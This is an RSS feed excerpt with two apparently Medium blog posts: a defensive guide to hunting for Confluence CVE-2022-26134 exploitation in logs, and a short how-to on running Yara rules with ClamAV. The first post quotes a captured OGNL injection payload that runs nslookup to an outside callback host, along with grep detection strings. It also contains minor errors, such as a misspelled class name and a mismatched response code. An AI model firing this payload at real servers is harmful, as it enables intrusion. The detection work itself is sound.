            <content:encoded><![CDATA[<h3>Hunting for Confluence RCE [CVE-2022–26134]</h3><p>On the 2nd of June Atlassian announced that their products — Confluence Server &amp; Confluence Data Center are vulnerable to an RCE vulnerability, now known as CVE-2022–26134. This news shook the internet. Atlassian has not released the patch yet as we are writing. However, the vulnerability is being exploited in the wild.</p><p>Update [2022/06/04]: The patch is released now.</p><p><a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html">https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html</a>/</p><p>Since the vulnerability is being actively exploited, many of us would want to know if our Atlassian confluence servers have already been exploited or not.</p><p>Here is how we can do it for now.</p><ol><li>We can run a Yara scan for the presence of the web shell on your confluence server. Why webshell? Because the threat actors were seen dropping webshells after exploiting the vulnerability as seen by team Volexity team who first unveiled this vulnerability.</li></ol><p>Here is how we can do it:</p><p><a href="https://github.com/th3b3ginn3r/CVE-2022-26134-Exploit-Detection-on-Linux">GitHub - th3b3ginn3r/CVE-2022-26134-Exploit-Detection-on-Linux: This repository contains Yara rule and the method that a security investigator may want to use for CVE-2022-26134 threat hunting on their Linux confluence servers.</a></p><p>2. Next, we may want to scan for the IoCs that have been seen exploiting the Confluence vulnerability.</p><p><a href="https://github.com/offlinehoster/CVE-2022-26134">GitHub - offlinehoster/CVE-2022-26134: Information and scripts for the confluence CVE-2022-26134</a></p><p>3. We may want to look at the confluence access logs and catalina*.logfor any suspicious activities. We can find these logs in the */atlassian/confluence/logsdirectory, generally.</p><h4>What does an exploit attempt look like in the logs?</h4><p>In the confluence logs, exploit attempts for the CVE-2022–26134 would look similar to the one posted below:</p><pre>https[:]//yourconfluenceserver[.]com/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20cadcl3mfo0aeq0000010mmku8891cnyrp.oast.me%22%29%7D/</pre><p>If we decode it, here is how it would look:</p><pre><a href="http://yourconfluenceserver.com/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20cadcl3mfo0aeq0000010mmku8891cnyrp.oast.me%22%29%7D/">https://yourconfluenceserver[.]com/</a>${<a href="http://twitter.com/java">@java</a>.lang.Runtime@getRuntime().exec(&quot;nslookup cadcl3mfo0aeq0000010mmku8891cnyrp.oast.me&quot;)</pre><p>Here, the adversary is just checking if the confluence server is vulnerable or not by sending the reverse DNS lookup traffic back to the“*.oast[.]me.” server.</p><p>So, when we are hunting for the exploit attempts on our server, we can look for the strings such as ${@java.lag.Runtime().exec( or /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 in our confluence access logs. It would tell us if someone is attempting to exploit confluence vulnerability.</p><h4>How can we hunt for exploit attempts?</h4><p>Basic knowledge of grep usage would be enough to help us in hunting the exploit attempts. Here is what we can do:</p><pre>I&#39;m running commands in the /confluence/logs/ directory<br>-----------------------------------------------------<br>grep -Rinse &quot;/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22&quot;</pre><pre>http-nio2-8090-exec-77 172.81.129.26 GET / HTTP/1.1 301 66ms - https://yourconfluenceserver.com<strong>/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22</strong>nslookup%20caddh5iqruadh0010f56nyx1b8oo1j.oast.site%22%29%7D/ Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36</pre><p>As we can see, we got the hit. The confluence server was attempted to be exploited by the adversary for the CVE-2022–26134.</p><p>Let us understand the log:</p><pre><strong>Attacker IP</strong>: 172.81.129.26<br><strong>Method</strong>: GET<br><strong>HTTP Response Code</strong>: 300<br><strong>Exploit</strong>: https://yourconfluenceserver.com/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20caddh5iqruadh0010f56nyx1b8oo1j.oast.site%22%29%7D/<br><strong>User Agent</strong>: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36</pre><h4>Additional Checks</h4><p>We can also look for the jsp files on the confluence server to make sure any uncommon jsp file is not lying. Generally, confluence implementation has the below jspfiles.</p><pre>/atlassian/confluence/confluence/noop.jsp<br>/atlassian/confluence/confluence/errors.jsp<br>/atlassian/confluence/confluence/errors/notfound.jsp<br>/atlassian/confluence/confluence/classpath.jsp<br>/atlassian/confluence/confluence/admin/findspaceattachments.jsp<br>/atlassian/confluence/confluence/admin/default.jsp<br>/atlassian/confluence/confluence/admin/cluster/hashclustername.jsp<br>/atlassian/confluence/confluence/500page.jsp</pre><p>In case we find additional jsp files on the server, we should try to get answers to the questions like:</p><ol><li>When was it created first?</li><li>Was it dropped from the internet via the confluence app?</li></ol><p>To get the answer to the second question we can refer to the confluence access logs &amp; catalina logs. They should log it if it was dropped via the confluence.</p><p>That’s it for now. Do let me know if you have something interesting about this topic and I would update the article for general public usage.</p><p>Happy Hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae9ce0176b4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Running Yara Scan using ClamAV]]></title>
            <link>https://medium.com/@th3b3ginn3r/running-yara-scan-using-clamav-dcd5b3b7d3e7?source=rss-84895b4345d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/dcd5b3b7d3e7</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[clamav]]></category>
            <category><![CDATA[yara]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[alam]]></dc:creator>
            <pubDate>Fri, 03 Jun 2022 10:35:04 GMT</pubDate>
            <atom:updated>2022-06-03T14:09:31.371Z</atom:updated>
            <content:encoded><![CDATA[<h4>Do you have a Linux server that you think is compromised and want to run a Yara scan but the server doesn’t have the Yara dependencies?</h4><p>Well, you can still run a Yara scan on the host. Here is how you can do that:</p><h3>Creating Yara Rule</h3><p>First login to the Linux host and create a Yara rule that would possibly match the indicators.</p><pre>vi yararule.yar #paste in your Yara rules and save the file</pre><h3>Running Yara Scan using ClamAV</h3><p>Once you have created or downloaded the Yara rule in your Linux host, use sudo clamscan command to run the Yara rule. Below is the full command that you would like to use:</p><pre>sudo clamscan -d yararule.yar -r /path-to-scan</pre><h3>Reading the result</h3><p>Now when you have run the scan, you will be presented with the scan summary. Below is a sample of it. Don’t forget to notice the infected files. That’s what you have been looking for, right?</p><pre>----------- SCAN SUMMARY -----------</pre><pre>Known viruses: 3 #These are the number of Yara rules in the yararule.yar file</pre><pre>Engine version: 0.103.5</pre><pre>Scanned directories: 17199</pre><pre>Scanned files: 108578</pre><pre>Infected files: 0 #See the count of infected files or the list of files that matches the conditions of the Yara rules</pre><pre>Data scanned: 9402.08 MB</pre><pre>Data read: 17504.73 MB (ratio 0.54:1)</pre><pre>Time: 284.885 sec (4 m 44 s)</pre><pre>Start Date: 2022:06:03 05:19:34</pre><pre>End Date:   2022:06:03 05:24:19</pre><p><a href="https://confluence.corp.appdynamics.com/display/SEC/Yara+Scan+using+ClamAV">Like</a> Be the first to like this</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dcd5b3b7d3e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>